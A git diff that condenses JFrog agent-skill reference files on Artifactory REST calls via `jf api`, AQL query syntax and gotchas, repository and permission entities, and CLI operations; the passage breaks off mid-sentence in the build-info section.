`EvidenceSubject.fullPath`. This allows querying evidence attached to - app versions and their artifacts. -- **Stored Packages** — `Releasable.packageVersionLocation` links to - `StoredPackageVersionLocation`, connecting the application model to where - packages physically reside in Artifactory. -- **Release Bundles** — source type `ReleaseBundle` references release bundle - name/version from the Release Lifecycle domain. -- **Builds** — source type `Build` references build-info records from - Artifactory. + `ApplicationVersionArtifact.evidenceSubject` → Evidence domain via + `EvidenceSubject.fullPath`. +- **Stored Packages** — `Releasable.packageVersionLocation` → + `StoredPackageVersionLocation` (physical Artifactory location). +- **Release Bundles** — source type `ReleaseBundle` → Release Lifecycle name/version. +- **Builds** — source type `Build` → Artifactory build-info records. diff --git a/skills/jfrog/references/artifactory-api-gaps.md b/skills/jfrog/references/artifactory-api-gaps.md index 1533d8a..c125cf2 100644 --- a/skills/jfrog/references/artifactory-api-gaps.md +++ b/skills/jfrog/references/artifactory-api-gaps.md @@ -1,9 +1,8 @@ # Artifactory API Gaps -Operations available through REST API but not through CLI commands. -Invoke them via `jf api [flags]` (authentication is handled -automatically against the active `jf config` server; see the base skill's -*Invoking platform APIs with `jf api`* section). +REST operations without CLI commands. Invoke via `jf api [flags]` +(auth automatic against active `jf config` server; see base skill +*Invoking platform APIs with `jf api`*). ## Repository management @@ -11,8 +10,7 @@ automatically against the active `jf config` server; see the base skill's ```bash jf api /artifactory/api/repositories/ ``` -Returns the full JSON configuration of a repository. Useful as a template -for creating similar repos. +Full JSON repo config. Useful as template for similar repos. ### List all repositories ```bash @@ -89,7 +87,7 @@ jf api /artifactory/api/search/aql \ -d 'items.find({"repo":"my-repo","name":{"$match":"*.jar"}})' ``` -For remote repository content, query the `-cache` suffixed repo: +Remote repo content — query `-cache` suffixed repo: ```bash jf api /artifactory/api/search/aql \ -X POST -H "Content-Type: text/plain" \ @@ -113,8 +111,8 @@ jf api "/artifactory/api/search/gavc?g=com.example&a=mylib&v=1.0" ## User and group management -User and group operations are handled by the Access service. See -`platform-admin-api-gaps.md` (Users / Groups sections) for the full set. +User/group operations via Access service. See +`platform-admin-api-gaps.md` (Users / Groups sections). ## Metadata calculation @@ -172,10 +170,9 @@ jf api "/artifactory/api/federation/fullSyncAll/" -X POST ### List builds (prefer scoped queries) -**Unscoped** `GET /artifactory/api/build` (no query parameters) can **time -out** on busy instances. Prefer **project-scoped** or **repo-scoped** -listing, then detail GETs. Full flow: read `artifactory-operations.md` -§ *Listing builds when the project key is known*. +**Unscoped** `GET /artifactory/api/build` can **time out** on busy instances. +Prefer project- or repo-scoped listing + detail GETs. Flow: `artifactory-operations.md` +§ *Listing build names*. ```bash # Project scope — build names (latest per name) diff --git a/skills/jfrog/references/artifactory-aql-syntax.md b/skills/jfrog/references/artifactory-aql-syntax.md index b120275..12ca2bf 100644 --- a/skills/jfrog/references/artifactory-aql-syntax.md +++ b/skills/jfrog/references/artifactory-aql-syntax.md @@ -18,14 +18,14 @@ jf api /artifactory/api/search/aql \ .distinct() ``` -Only `.find()` is required. The others are optional and chainable. -**The chain order above is enforced by the server.** `.include()` must come -before `.sort()`, `.sort()` before `.offset()`, etc. Putting them out of -order (e.g. `.sort()` before `.include()`) produces a parse error. +Only `.find()` is required; others optional and chainable. +**Server enforces the chain order above.** `.include()` before `.sort()`, +`.sort()` before `.offset()`, etc. Out of order (e.g. `.sort()` before +`.include()`) → parse error. -**Mandatory include fields:** `items` requires `"repo","path","name"`; -`builds` requires `"name","number","repo"`. Always include these even when -you only need a subset — narrow results with `jq` post-query instead: +**Mandatory include fields:** `items` → `"repo","path","name"`; `builds` → +`"name","number","repo"`. Always include these even when you need a subset — +narrow with `jq` post-query: ``` items.find({"name":"commons-lang3-3.12.0.jar"}) @@ -35,9 +35,7 @@ items.find({"name":"commons-lang3-3.12.0.jar"}) ## Domains -AQL has 13 queryable domains. Each domain represents a different entity type -and has its own set of fields. - +13 queryable domains — each entity type has its own fields. | Domain | Query name | Description | | -------------------- | ------------------- | ---------------------------------------------- | @@ -55,12 +53,10 @@ and has its own set of fields. | Release bundles | `releases` | Release bundle records | | Release bundle files | `release_artifacts` | Files within a release bundle | - ## Domain relationships -Domains connect through the following join paths. Cross-domain queries -traverse these links — fields from related domains can appear in criteria -and include clauses by prefixing the domain path. +Join paths below. Cross-domain queries traverse these links — related-domain +fields in criteria/includes use a prefixed domain path. ```mermaid erDiagram @@ -79,15 +75,12 @@ erDiagram release_artifacts }o--|| releases : "belongs to" ``` - - -**Key:** Items connect to build artifacts and dependencies through SHA-1 -checksum matching, not a direct key. This means a cross-domain query from -items to builds traverses: items → artifacts → modules → builds. +**Key:** Items ↔ build artifacts/dependencies via SHA-1 checksum match (not +a direct key). Path items → builds: items → artifacts → modules → builds. ### Cross-domain field paths -To reference a field from a related domain, use dot-separated domain paths: +Related-domain field → dot-separated domain path: ``` items.find({"artifact.module.build.name":"my-build"}) @@ -108,12 +101,11 @@ From builds: ## Fields by domain -Field types: `string`, `date`, `int`, `long`, `itemType` (`file`, `folder`, -or `any`). Fields marked "default" are returned without explicit `.include()`. +Types: `string`, `date`, `int`, `long`, `itemType` (`file`, `folder`, `any`). +"Default" = returned without explicit `.include()`. ### items - | Field | Type | Default | | --------------- | -------- | ------- | | `repo` | string | yes | @@ -133,23 +125,19 @@ or `any`). Fields marked "default" are returned without explicit `.include()`. | `original_md5` | string | no | | `original_sha1` | string | no | - -Computed field: `virtual_repos` — returns virtual repositories that include -the item's actual repository. Must use `.include("virtual_repos")` explicitly; -requires `repo`, `path`, `name` in the result set. +Computed: `virtual_repos` — virtual repos that include the item's actual +repo. Requires `.include("virtual_repos")` plus `repo`,`path`,`name` in +the result set. ### properties - | Field | Type | Default | | ------- | ------ | ------- | | `key` | string | yes | | `value` | string | yes | - ### stats - | Field | Type | Default | | ---------------------- | ------ | ------- | | `downloads` | int | yes | @@ -161,20 +149,16 @@ requires `repo`, `path`, `name` in the result set. | `remote_origin` | string | yes | | `remote_path` | string | yes | - ### item.infos - | Field | Type | Default | | ------------------- | ------ | ------- | | `props_modified` | date | yes | | `props_modified_by` | string | yes | | `props_md5` | string | yes | - ### builds - | Field | Type | Default | | ------------- | ------ | ------- | | `url` | string | yes | @@ -187,18 +171,14 @@ requires `repo`, `path`, `name` in the result set. | `modified_by` | string | yes | | `repo` | string | no | - ### modules - | Field | Type | Default | | ------ | ------ | ------- | | `name` | string | yes | - ### artifacts - | Field | Type | Default | | ------ | ------ | ------- | | `name` | string | yes | @@ -206,10 +186,8 @@ requires `repo`, `path`, `name` in the result set. | `sha1` | string | yes | | `md5` | string | yes | - ### dependencies - | Field | Type | Default | | ------- | ------ | ------- | | `name` | string | yes | @@ -218,19 +196,15 @@ requires `repo`, `path`, `name` in the result set. | `sha1` | string | yes | | `md5` | string | yes | - ### build.properties - | Field | Type | Default | | ------- | ------ | ------- | | `key` | string | yes | | `value` | string | yes | - ### build.promotions - | Field | Type | Default | | ------------ | ------ | ------- | | `created` | date | yes | @@ -240,19 +214,15 @@ requires `repo`, `path`, `name` in the result set. | `comment` | string | yes | | `user` | string | yes | - ### module.properties - | Field | Type | Default | | ------- | ------ | ------- | | `key` | string | yes | | `value` | string | yes | - ### releases - | Field | Type | Default | | -------------- | --------------------------- | ------- | | `name` | string | yes | @@ -263,18 +233,14 @@ requires `repo`, `path`, `name` in the result set. | `type` | string (`SOURCE`, `TARGET`) | yes | | `storing_repo` | string | yes | - ### release_artifacts - | Field | Type | Default | | ------ | ------ | ------- | | `path` | string | yes | - ## Comparators - | Operator | Meaning | Example | | ---------- | -------------------------------- | ------------------------------------ | | `$eq` | Equals (default if omitted) | `{"type":"file"}` | @@ -288,16 +254,13 @@ requires `repo`, `path`, `name` in the result set. | `$lt` | Less than | `{"size":{"$lt":"5000"}}` | | `$lte` | Less than or equal | `{"modified":{"$lte":"2025-01-01"}}` | - ### Boolean operators - | Operator | Description | | -------- | ---------------------------------------------------------------------- | | `$and` | All conditions must match (implicit when fields are at the same level) | | `$or` | Any condition must match | - ``` items.find({"$and":[ {"repo":"my-repo"}, @@ -310,22 +273,18 @@ items.find({"$and":[ ### Relative date comparators -AQL supports relative date queries with `$last` and `$before`: - +`$last` / `$before` for relative dates: | Operator | Meaning | Example | | --------- | ------------------------------------------------------- | ------------------------------- | | `$last` | Within the last N period (equivalent to `$gt` from now) | `{"modified":{"$last":"7d"}}` | | `$before` | Before the last N period (equivalent to `$lt` from now) | `{"created":{"$before":"3mo"}}` | - -Supported units: `d` (days), `w` (weeks), `mo` (months), `y` (years), -`s` (seconds), `mi` (minutes), `ms` (milliseconds). +Units: `d`, `w`, `mo`, `y`, `s`, `mi`, `ms`. ### Multi-property AND -To match items that have property A=1 **and** property B=2 (different -property rows), use `$and` with `@` shorthand: +Match property A=1 **and** B=2 (different property rows) with `$and` + `@`: ``` items.find({"$and":[ @@ -334,20 +293,18 @@ items.find({"$and":[ ]}) ``` -AQL also documents a `$msp` (multi-set property) operator for this purpose, -but `$msp` is **unreliable in practice** — it returns 0 results on many -server versions even when matching items exist. Prefer `$and` with `@` -shorthand, which is verified to work correctly. +`$msp` (multi-set property) is **unreliable in practice** — often 0 results +even when matches exist. Prefer `$and` + `@` (verified). ## Date queries -Dates use ISO 8601 format for absolute dates: +Absolute dates → ISO 8601: ``` items.find({"modified":{"$gt":"2025-06-01T00:00:00.000Z"}}) ``` -Or use relative dates (preferred — avoids hardcoding timestamps): +Or relative dates (preferred — no hardcoded timestamps): ``` items.find({"modified":{"$last":"30d"}}) @@ -356,9 +313,9 @@ items.find({"created":{"$before":"6mo"}}) ## Property queries -Two equivalent syntaxes for property filtering: +Two equivalent property-filter syntaxes: -**`@key` shorthand** — concise, works for single property conditions: +**`@key` shorthand** — concise, single property conditions: ``` items.find({"repo":"my-repo","@build.name":"my-build","type":"file"}) @@ -374,15 +331,8 @@ items.find({ }) ``` -**Multi-property AND** — use `$and` with `@` shorthand to match across -different property rows: - -``` -items.find({"$and":[ - {"@build.name":"my-build"}, - {"@build.number":"42"} -]}) -``` +**Multi-property AND** — same `$and` + `@` pattern as +[Multi-property AND](#multi-property-and) above (do not re-copy here). > **Note:** The `@key` shorthand works inside `$and`. For `$or`, use the > explicit `property.key`/`property.value` form if the shorthand does not @@ -390,15 +340,12 @@ items.find({"$and":[ ## Include -Select which fields to return. Without `.include()`, AQL returns each -domain's default field set. +Fields to return. No `.include()` → domain defaults. -**When you use `.include()`, you replace the defaults — so you must -explicitly list any required fields:** +**`.include()` replaces defaults — list every required field:** -- `items` domain: always include `"repo","path","name"` (server rejects -the query otherwise) -- `builds` domain: always include `"name","number","repo"` +- `items`: always `"repo","path","name"` (else server rejects) +- `builds`: always `"name","number","repo"` ``` items.find({"repo":"my-repo"}) @@ -421,14 +368,14 @@ items.find({"repo":"my-repo"}) .limit(50) ``` -Sort directions: `$asc`, `$desc`. Sort fields must also appear in the result -set (explicit `.include()` or default fields). See +Sort: `$asc` / `$desc`. Sort fields must appear in the result set +(explicit `.include()` or defaults). See [Before constructing a query](#before-constructing-a-query) for sort performance rules. ## Distinct -Deduplicate result rows: +Deduplicate rows: ``` items.find({"repo":"my-repo"}).distinct(true) @@ -436,41 +383,37 @@ items.find({"repo":"my-repo"}).distinct(true) ## Validation rules -The server enforces these constraints — violating them produces an error: +Server constraints — violations → error: -**Non-admin users:** +**Non-admin:** -- `items` domain queries must include `repo`, `path`, `name` in results -(needed for permission filtering) -- `builds` domain queries must include `name`, `number`, `repo` in results +- `items` results must include `repo`, `path`, `name` (permission filtering) +- `builds` results must include `name`, `number`, `repo` -**Transitive mode** (`.transitive()` for querying through virtual repos): +**Transitive** (`.transitive()` through virtual repos): -- Only works with `items` domain +- `items` domain only - Include subdomains limited to `items` and `properties` -- Repo criteria must use `$eq` (exact match) with a single repository -- No `offset` or `sort` allowed +- Repo criteria: `$eq` only, single repository +- No `offset` or `sort` ## Before constructing a query -Run through these checks before writing any AQL query: - -1. **Never `.sort()` without a `repo` filter** — forces a full table scan - across all repositories. Sort client-side with `jq` instead. Also, - `.sort()` on cross-domain fields (e.g. `stat.downloads` in `items.find()`) - is silently ignored — fetch all rows and sort client-side. -2. **Always set `.limit()`** — no built-in default limit; unbounded queries - can time out or OOM. Broad queries without a `repo` filter are especially - expensive. -3. **`range.total` = returned count, not total matching** — AQL has no - count-only mode. To find the true total, paginate with `.offset()` until - a page returns fewer results than the limit. -4. **AQL has no repo-type field** — to restrict to local repos, either - pre-query `GET /api/repositories?type=local` and add repo names to - criteria (practical when count is small), or query without a repo filter - and exclude `-cache` / `-virtual` suffixed repos client-side with `jq`. +Checks before writing AQL: + +1. **Never `.sort()` without a `repo` filter** — full table scan. Sort + client-side with `jq`. Cross-domain sort fields (e.g. `stat.downloads` in + `items.find()`) are silently ignored — fetch all + sort client-side. +2. **Always `.limit()`** — no default; unbounded queries can time out / OOM. + Broad queries without `repo` are especially expensive. +3. **`range.total` = returned count, not total matching** — no count-only + mode. True total → paginate `.offset()` until a page returns fewer than + the limit. +4. **No repo-type field** — local-only: pre-query + `GET /api/repositories?type=local` and add names to criteria (small lists), + or query without repo filter and drop `-cache`/`-virtual` via `jq`. 5. **Narrow server-side first** — add every applicable filter (`created_by`, - `created`, `type`, `name`) before relying on client-side `jq` filtering. + `created`, `type`, `name`) before client-side `jq`. ## Common query patterns @@ -488,8 +431,8 @@ items.find({"repo":"my-repo","size":{"$gt":"104857600"},"type":"file"}) ### Find Maven SNAPSHOT JARs -Use `*-SNAPSHOT*.jar` (not `*-SNAPSHOT.jar`) to also match classifier -artifacts like `-sources.jar` and `-javadoc.jar`: +Use `*-SNAPSHOT*.jar` (not `*-SNAPSHOT.jar`) to also match classifiers +(`-sources.jar`, `-javadoc.jar`): ``` items.find({"repo":"libs-snapshot","name":{"$match":"*-SNAPSHOT*.jar"},"type":"file"}) @@ -505,9 +448,9 @@ items.find({"repo":"my-repo","modified":{"$last":"7d"},"type":"file"}) ### Docker queries -Use `"name":"manifest.json"` to **list tags** (one per tag). Use -`"name":{"$match":"*manifest.json"}` to **query all manifests** (includes -`list.manifest.json` for multi-arch tags — see [Gotchas](#gotchas)). +`"name":"manifest.json"` → **list tags** (one per tag). +`"name":{"$match":"*manifest.json"}` → **all manifests** (includes +`list.manifest.json` for multi-arch — see [Gotchas](#gotchas)). ``` items.find({"repo":"docker-local","path":{"$match":"my-image/*"},"name":"manifest.json"}) @@ -523,18 +466,16 @@ jf api "/artifactory/api/docker//v2//manifests/" \ -H "Accept: application/vnd.docker.distribution.manifest.v2+json" ``` -For multi-arch images the response is an image index; fetch each platform -manifest by digest to get its layers. +For multi-arch: response is an image index — fetch each platform manifest +by digest for layers. ### Find artifacts with a specific property -``` -items.find({"repo":"my-repo","@build.name":"my-build","type":"file"}) -``` +See [Property queries](#property-queries) (`@key` shorthand and explicit form). ### Find never-downloaded files (zero download count) -Zero-download items lack a stats row — filter client-side instead +Zero-download items lack a stats row — filter client-side (see [Gotchas](#gotchas)): ```bash @@ -547,8 +488,8 @@ items.find({"repo":"my-repo","type":"file"}) ### Find artifacts not downloaded in 90 days -Only matches previously-downloaded items (see [Gotchas](#gotchas)). -Combine with the never-downloaded pattern above for full coverage. +Only previously-downloaded items (see [Gotchas](#gotchas)). Combine with +never-downloaded pattern above for full coverage. ``` items.find({ @@ -569,8 +510,7 @@ items.find({"artifact.module.build.name":"my-service"}) ### Find builds by name -Non-admin users must include `name`, `number`, `repo` — omitting any -produces an error. +Non-admin must include `name`, `number`, `repo` — omit any → error. ``` builds.find({"name":{"$match":"*my-service*"}}) @@ -595,8 +535,8 @@ dependencies.find({"module.build.name":"my-service","module.build.number":"42"}) ### Remote repository content -Remote repo artifacts are stored in a `-cache` suffixed repo. Always query -the cache repo, not the remote repo itself: +Remote artifacts live in a `-cache` suffixed repo. Query the cache, not the +remote itself: ``` items.find({"repo":"npm-remote-cache","name":{"$match":"*.tgz"}}) @@ -644,13 +584,13 @@ repo name you queried. ## Official documentation -- [Artifactory Query Language](https://docs.jfrog.com/artifactory/docs/artifactory-query-language) — overview and architecture -- [Query Structure and Syntax](https://docs.jfrog.com/artifactory/docs/aql-syntax) — domain queries, field references, JSON-like syntax rules -- [Search Criteria and Operators](https://docs.jfrog.com/artifactory/docs/aql-search-criteria) — comparators, wildcards, `$msp`, relative time -- [AQL Entities and Fields Reference](https://docs.jfrog.com/artifactory/docs/aql-entities-fields-reference) — complete field list for all domains -- [Query Output and Modifiers](https://docs.jfrog.com/artifactory/docs/aql-query-output) — `.include()`, `.sort()`, `.offset()`, `.limit()`, `.distinct()` -- [Query Execution and Permissions](https://docs.jfrog.com/artifactory/docs/aql-query-execution) — authentication, scoped tokens, HTTP errors, streaming -- [AQL Examples and Common Patterns](https://docs.jfrog.com/artifactory/docs/aql-examples) — ready-to-use queries by use case -- [Repository-Specific Queries](https://docs.jfrog.com/artifactory/docs/aql-repository-queries) — `.transitive()`, virtual repos, remote search -- [Performance and Operational Controls](https://docs.jfrog.com/artifactory/docs/aql-performance) — result limits, timeouts, rate limiting, optimization +- https://docs.jfrog.com/artifactory/docs/artifactory-query-language +- https://docs.jfrog.com/artifactory/docs/aql-syntax +- https://docs.jfrog.com/artifactory/docs/aql-search-criteria +- https://docs.jfrog.com/artifactory/docs/aql-entities-fields-reference +- https://docs.jfrog.com/artifactory/docs/aql-query-output +- https://docs.jfrog.com/artifactory/docs/aql-query-execution +- https://docs.jfrog.com/artifactory/docs/aql-examples +- https://docs.jfrog.com/artifactory/docs/aql-repository-queries +- https://docs.jfrog.com/artifactory/docs/aql-performance diff --git a/skills/jfrog/references/artifactory-entities.md b/skills/jfrog/references/artifactory-entities.md index 1e4d950..59e650b 100644 --- a/skills/jfrog/references/artifactory-entities.md +++ b/skills/jfrog/references/artifactory-entities.md @@ -2,44 +2,39 @@ When to read this file: -- Working with **repositories** and you need to understand the difference between local, remote, virtual, and federated types. +- Working with **repositories** — need local/remote/virtual/federated type differences. - Managing **artifacts**, **properties**, or **package types**. - Working with **builds**, **build promotion**, or **permission targets**. -- Debugging unexpected behavior related to repo types (e.g. upload failures, missing search results). +- Debugging repo-type issues (e.g. upload failures, missing search results). -For CLI commands see `artifactory-operations.md`. For API gaps see -`artifactory-api-gaps.md`. For AQL syntax see `artifactory-aql-syntax.md`. +CLI: `artifactory-operations.md`. API gaps: `artifactory-api-gaps.md`. AQL: `artifactory-aql-syntax.md`. ## Repositories -A repository is the primary storage and resolution unit in Artifactory. Every -repo has a **key** (unique identifier), a **package type** (immutable after -creation), and a **repository class** (`rclass`) that determines its behavior. +Repository = primary storage/resolution unit in Artifactory. Each repo has **key** (unique id), **package type** (immutable after creation), **repository class** (`rclass`) determining behavior. ### Repository types | Type | `rclass` | Behavior | Stores artifacts? | |------|----------|----------|-------------------| | **Local** | `local` | Hosts artifacts deployed directly (upload, promote, copy, move) | Yes | -| **Remote** | `remote` | Proxies an external URL; downloads are cached in a companion `-cache` repo | Only in the `-cache` repo | -| **Virtual** | `virtual` | Aggregates multiple local and remote repos under a single URL for resolution | No (resolves from underlying repos) | -| **Federated** | `federated` | Local repo that bi-directionally synchronizes across Platform Deployments | Yes (replicated across sites) | +| **Remote** | `remote` | Proxies external URL; downloads cached in companion `-cache` repo | Only in `-cache` repo | +| **Virtual** | `virtual` | Aggregates local + remote repos under single URL for resolution | No (resolves from underlying repos) | +| **Federated** | `federated` | Local repo bi-directionally syncs across Platform Deployments | Yes (replicated across sites) | ### Key relationships and fields - `key` — unique repo identifier (e.g. `libs-release-local`) -- `packageType` — determines layout and protocol (see Package types below) +- `packageType` — layout + protocol (see Package types below) - `rclass` — `local`, `remote`, `virtual`, or `federated` -- `url` — (remote only) the external source URL being proxied +- `url` — (remote only) external source URL being proxied - `repositories` — (virtual only) ordered list of local/remote repos to aggregate -- `projectKey` — links repo to a JFrog Project (see `platform-access-entities.md`) -- `environments` — environments the repo is assigned to (used in RBAC and lifecycle) +- `projectKey` — links repo to JFrog Project (see `platform-access-entities.md`) +- `environments` — repo environment assignment (RBAC + lifecycle) ### System repositories -Artifactory and Xray maintain several **system repositories** for internal -platform metadata. These are not user-created and should be excluded when -iterating over repositories for reporting, scanning, or auditing: +Artifactory + Xray maintain **system repositories** for internal platform metadata. Not user-created — exclude when iterating repos for reporting, scanning, or auditing: | Pattern | Purpose | |---------|---------| @@ -51,34 +46,23 @@ iterating over repositories for reporting, scanning, or auditing: | `*-build-info` | Project-scoped build info storage | | `*-application-versions` | AppTrust application version metadata | -Including these in aggregate queries (violation counts, storage reports, etc.) -produces misleading results because they contain platform metadata rather than -user artifacts. +Including these in aggregate queries (violation counts, storage reports, etc.) produces misleading results — platform metadata, not user artifacts. ### Remote repository cache -When Artifactory downloads an artifact through a remote repo, it stores the -cached copy in a **separate local repo** named `-cache`. This is -critical for: +When Artifactory downloads via remote repo, cached copy stored in **separate local repo** named `-cache`. Critical for: -- **AQL queries** — search the `-cache` repo, not the remote repo key -- **Properties** — properties on cached artifacts live on the `-cache` repo -- **Storage calculations** — cached artifacts consume storage under the `-cache` repo +- **AQL queries** — search `-cache` repo, not remote repo key +- **Properties** — cached artifact properties live on `-cache` repo +- **Storage calculations** — cached artifacts consume storage under `-cache` repo -The remote repo key itself is used for **configuration** (URL, credentials, -inclusion/exclusion patterns) but does not directly contain artifacts. +Remote repo key used for **configuration** (URL, credentials, inclusion/exclusion patterns) — does not directly contain artifacts. ### Virtual repository resolution -A virtual repo aggregates **both local and remote repos** under a single URL. -It resolves artifacts by searching its underlying repos in the configured -**order** — when the same artifact exists in multiple underlying repos, the -first match wins. +Virtual repo aggregates **local + remote repos** under single URL. Resolves by searching underlying repos in configured **order** — same artifact in multiple repos → first match wins. -A virtual repo may designate one of its underlying **local** repos as the -**default deployment repository**. Uploads through the virtual URL are routed -to that local repo. Without a default deployment repo, the virtual repo is -read-only. +Virtual repo may designate underlying **local** repo as **default deployment repository**. Uploads through virtual URL routed there. Without default deployment repo → read-only. ```mermaid erDiagram @@ -90,65 +74,56 @@ erDiagram ## Artifacts -An artifact is a file stored in a repository. Each artifact is uniquely -identified by the triple **repo + path + name**. +Artifact = file in repository. Uniquely identified by **repo + path + name**. Key attributes: - `repo`, `path`, `name` — location identifier - `size` — bytes -- `sha256`, `sha1`, `md5` — checksums (sha256 is the primary identifier for cross-referencing with builds and Xray) +- `sha256`, `sha1`, `md5` — checksums (build-info records all three; Xray cross-references by sha256, AQL item↔build joins by sha1) - `created`, `modified`, `created_by`, `modified_by` — audit fields -Artifacts are **content-addressable** — build info and Xray reference them by -checksum, not by path. Moving or copying an artifact changes its path but not -its checksum, so build associations follow the artifact. +Artifacts are **content-addressable** — build info + Xray reference by checksum, not path. Move/copy changes path, not checksum → build associations follow artifact. ## Properties -Key-value metadata pairs attached to artifacts or folders. +Key-value metadata on artifacts or folders. -- Keys are strings; values are strings or arrays of strings -- Set via `jf rt set-props`, queried via AQL or the properties API -- Commonly used for: build metadata, maturity labels, promotion tracking, cleanup policies -- Properties on remote-cached artifacts live on the `-cache` repo +- Keys = strings; values = strings or string arrays +- Set via `jf rt set-props`, query via AQL or properties API +- Common uses: build metadata, maturity labels, promotion tracking, cleanup policies +- Remote-cached artifact properties live on `-cache` repo ## Package types -The `packageType` field on a repository determines how Artifactory interprets -its contents. It controls directory structure conventions, metadata extraction, -and which client protocols are supported (e.g. Docker registry API, npm -registry, Maven layout). +`packageType` on repo determines how Artifactory interprets contents — directory layout, metadata extraction, client protocols (Docker registry API, npm registry, Maven layout). Common types: `maven`, `gradle`, `npm`, `docker`, `pypi`, `nuget`, `go`, `helm`, `rpm`, `debian`, `generic`. -Package type is **immutable** — it cannot be changed after repo creation. Use -`generic` when no specific package type applies. +Package type **immutable** — cannot change after repo creation. Use `generic` when no specific type applies. ## Build info -A build info record captures CI/CD metadata: which artifacts were produced, -which dependencies were consumed, and the build environment. +Build info record captures CI/CD metadata: produced artifacts, consumed dependencies, build environment. | Field | Description | |-------|-------------| -| `name` + `number` | Unique identifier for a build run | -| `modules` | List of modules, each with its own artifacts and dependencies | -| `vcs` | Version control metadata (revision, URL, branch) | +| `name` + `number` | Unique build run identifier | +| `modules` | Modules, each with artifacts + dependencies | +| `vcs` | VCS metadata (revision, URL, branch) | | `buildAgent`, `agent` | CI tool info | | `properties` | Custom build-level properties | -Build info references artifacts **by checksum** (sha256). This means: -- A build can reference artifacts across multiple repositories -- Moving an artifact does not break the build association -- Xray scans build info by resolving checksums to components +Build info references artifacts **by checksum** (AQL item↔build joins by sha1; Xray cross-references by sha256): +- Build can reference artifacts across multiple repos +- Moving artifact does not break build association +- Xray scans build info by resolving checksums → components Lifecycle: collect → publish → (optionally) promote → (optionally) scan. ## Build promotion -Promotion changes a build's **status** and can copy or move its artifacts -from a source repo to a target repo. +Promotion changes build **status**; can copy/move artifacts from source repo → target repo. | Field | Description | |-------|-------------| @@ -157,18 +132,15 @@ from a source repo to a target repo. | `targetRepo` | Where artifacts should be moved/copied | | `copy` | If `true`, copy instead of move | -Promotion records are queryable via AQL (`build.promotions` domain) and the -build promotion API. +Promotion records queryable via AQL (`build.promotions` domain) + build promotion API. ## Permissions -Permissions define RBAC policies mapping **resources** and **principals** -(users and groups) to **actions**. Two models exist: +Permissions = RBAC policies mapping **resources** + **principals** (users, groups) → **actions**. Two models: ### Permissions V2 (Access Permissions) — current model -Managed by the **Access service** (since Artifactory 7.72.0, recommended from -7.77.2). Supports all resource types. +**Access service** (since 7.72.0, recommended 7.77.2+). All resource types. | Component | Description | |-----------|-------------| @@ -179,11 +151,11 @@ Resource types: `artifact` (repositories), `build`, `release_bundle`, `destination` (Edge nodes), `pipeline_source`. Each resource contains: -- `targets` — map of target names/patterns to include/exclude patterns -- `actions.users` — map of username → list of actions -- `actions.groups` — map of group name → list of actions +- `targets` — target names/patterns → include/exclude patterns +- `actions.users` — username → action list +- `actions.groups` — group name → action list -Actions use uppercase: `READ`, `ANNOTATE`, `DEPLOY/CACHE`, `DELETE/OVERWRITE`, +Actions uppercase: `READ`, `ANNOTATE`, `DEPLOY/CACHE`, `DELETE/OVERWRITE`, `MANAGE_XRAY_METADATA`, `MANAGE`. API: `POST/PUT/GET/DELETE /access/api/v2/permissions/{permissionName}`. @@ -192,17 +164,15 @@ Documentation: [Permissions](https://docs.jfrog.com/administration/docs/permissi ### Permission targets (V1) — legacy model -Managed by **Artifactory**. Still functional and backwards compatible, but -V2 is recommended for new implementations. The CLI `jf rt permission-target-*` -commands use this API. +**Artifactory**-managed. Functional + backwards compatible; prefer V2 for new work. CLI: `jf rt permission-target-*`. | Component | Description | |-----------|-------------| -| `repositories` | List of repo keys or patterns | -| `actions.users` | Map of username → list of actions | -| `actions.groups` | Map of group name → list of actions | +| `repositories` | Repo keys or patterns | +| `actions.users` | Username → action list | +| `actions.groups` | Group name → action list | -Actions use lowercase: `read`, `write`, `annotate`, `delete`, `manage`. +Actions lowercase: `read`, `write`, `annotate`, `delete`, `manage`. Does **not** support `destination` or `pipeline_source` resource types. @@ -219,18 +189,15 @@ API: `PUT /artifactory/api/security/permissions/{permissionName}`. | Pattern fields | `includes_pattern` / `excludes_pattern` | `include_patterns` / `exclude_patterns` | | CLI support | `jf rt permission-target-*` | No direct CLI commands (use REST) | -For project-scoped RBAC, see Project roles in `platform-access-entities.md`. +Project-scoped RBAC: see Project roles in `platform-access-entities.md`. ## Replication -Replication synchronizes artifacts and properties between repositories, either -within the same instance or across Platform Deployments. +Replication syncs artifacts + properties between repos — same instance or across Platform Deployments. | Type | Direction | Trigger | |------|-----------|---------| -| **Push** | Source pushes to target | Scheduled or event-based | -| **Pull** | Target pulls from source | Scheduled | +| **Push** | Source → target | Scheduled or event-based | +| **Pull** | Target ← source | Scheduled | -Replication configs are JSON templates applied per repository. Both artifact -content and properties are replicated. For federated repos, replication is -automatic and bi-directional across all member nodes. +Replication configs = JSON templates per repository. Both artifact content + properties replicated. Federated repos → automatic bi-directional replication across member nodes. diff --git a/skills/jfrog/references/artifactory-operations.md b/skills/jfrog/references/artifactory-operations.md index bab2b65..771584b 100644 --- a/skills/jfrog/references/artifactory-operations.md +++ b/skills/jfrog/references/artifactory-operations.md @@ -1,22 +1,20 @@ # Artifactory Operations -CLI commands for managing Artifactory resources. All commands use the `jf rt` -namespace. Run `jf rt --help` to discover subcommands not listed here. +CLI for Artifactory resources — `jf rt` namespace. Run `jf rt --help` for subcommands not listed here. ## Repository management -Repositories are created from JSON templates. The workflow is: +Repos from JSON templates: -1. Get a template: retrieve an existing repo config via +1. Get template: existing config via `jf api /artifactory/api/repositories/` - and modify it, or craft JSON manually. + and modify, or craft JSON manually. Note: `jf rt repo-template` is interactive and cannot be used by agents. 2. Create: `jf rt repo-create ` 3. Update: `jf rt repo-update ` 4. Delete: `jf rt repo-delete --quiet` -To list repositories, use: -`jf api /artifactory/api/repositories` +List: `jf api /artifactory/api/repositories` ## File operations @@ -31,12 +29,12 @@ To list repositories, use: ### Searching across repositories -`jf rt search` expects a `/` argument. When the repo is unknown, -agents tend to use a leading wildcard (`jf rt search "*/path/..."`), which -generates an unscoped AQL internally and can time out on large instances. +`jf rt search` expects `/`. When repo unknown, agents often use +leading wildcard (`jf rt search "*/path/..."`) → unscoped AQL internally → +timeouts on large instances. -Use a direct AQL query with `name` and `path` criteria instead — omitting the -`repo` field searches all accessible repos via indexed columns: +Use direct AQL with `name` and `path` — omitting `repo` searches all accessible +repos via indexed columns: ```bash jf api /artifactory/api/search/aql \ @@ -47,21 +45,16 @@ jf api /artifactory/api/search/aql \ }).include("repo","path","name","size","sha256")' ``` -Add `"repo":""` to the criteria when the target repo is known, to -narrow the search further. +Add `"repo":""` when target repo is known. ## Build info -**Project scoping rule:** Append `?project=` to **every** build detail -API call. When the user provides a project key, use it. When no project key -is provided, 